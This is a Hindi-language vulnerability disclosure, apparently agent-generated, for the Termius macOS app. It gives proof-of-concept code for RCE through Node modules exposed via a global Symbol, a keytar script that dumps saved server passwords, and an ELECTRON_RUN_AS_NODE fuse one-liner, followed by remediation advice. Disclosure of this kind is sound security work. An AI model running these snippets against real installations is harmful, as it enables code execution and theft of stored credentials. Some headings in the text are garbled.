
तीन महत्वपूर्ण Termius macOS दोषों के लिए PoCs के साथ भेद्यता प्रकटीकरण: उजागर Node मॉड्यूल के माध्यम से दूरस्थ कोड निष्पादन, स्थानीय विशेषाधिकार वृद्धि क्रेडेंशियल डंप, और Electron फ्यूज बाईपास। इसमें सुधार मार्गदर्शन शामिल है।
लक्ष्य: Termius (macOS) परीक्षित संस्करण: नवीनतम (जनवरी 2026 तक) प्रभाव: रिमोट कोड निष्पादन (RCE), स्थानीय विशेषाधिकार वृद्धि (LPE), ऐप सुरक्षा बाइपास
Termius macOS एप्लीकेशन में तीन गंभीर भेद्यताएँ पहचानी गईं जो एक हमलावर को अनुमति देती हैं:
keytar नेटिव मॉड्यूल का दुरुपयोग करके।ELECTRON_RUN_AS_NODE फ्यूज़ का उपयोग करके।एप्लीकेशन शक्तिशाली Node.js मॉड्यूल (child_process, fs, electron) को रेंडरर प्रक्रिया (ऐप के वेब इंटरफ़ेस भाग) में उजागर करता है। ये मॉड्यूल window ऑब्जेक्ट में एक ग्लोबल Symbol के पीछे छिपे हैं, लेकिन वे सुरक्षित रूप से पृथक नहीं हैं।
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
एक हमलावर जो क्रॉस-साइट स्क्रिप्टिंग (XSS) प्राप्त करता है, इस उजागर सिंबल का उपयोग करके तुरंत RCE तक बढ़ सकता है।
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
keytar नेटिव नोड मॉड्यूल, जिसका उपयोग Termius macOS कीचेन के साथ इंटरफेस करने के लिए करता है, वह भी उसी छिपे हुए सिंबल के माध्यम से उजागर होता है। यह किसी भी स्क्रिप्ट को एप्लीकेशन संदर्भ के भीतर चलने (जैसे, एक दुर्भावनापूर्ण प्लगइन, XSS, या स्थानीय प्रक्रिया इंजेक्शन) और सभी सहेजे गए सर्वरों के सादे टेक्स्ट पासवर्ड को क्वेरी और पुनर्प्राप्त करने की अनुमति देता है।
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)Termius बाइनरी ELECTRON_RUN_AS_NODE फ्यूज़ को अक्षम नहीं करता है। यह एक गंभीर सुरक्षा गलत कॉन्फ़िगरेशन है जो किसी भी स्थानीय उपयोगकर्ता को हस्ताक्षरित Termius बाइनरी को एक मानक Node.js निष्पादन योग्य के रूप में चलाने की अनुमति देता है। यह एप्लीकेशन लॉजिक के लिए macOS कोड साइनिंग अखंडता जाँच को पूरी तरह से बाइपास करता है।
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
@electron/fuses का उपयोग करके RunAsNode और EnableNodeCliInspectArguments स्पष्ट रूप से अक्षम करें।window या global से न जोड़ें। प्रतिबंधित API सतह के साथ contextBridge.exposeInMainWorld का उपयोग करें जो केवल आवश्यक फ़ंक्शन को उजागर करता है, पूरे मॉड्यूल को नहीं।Antigravity Agent द्वारा उत्पन्न रिपोर्ट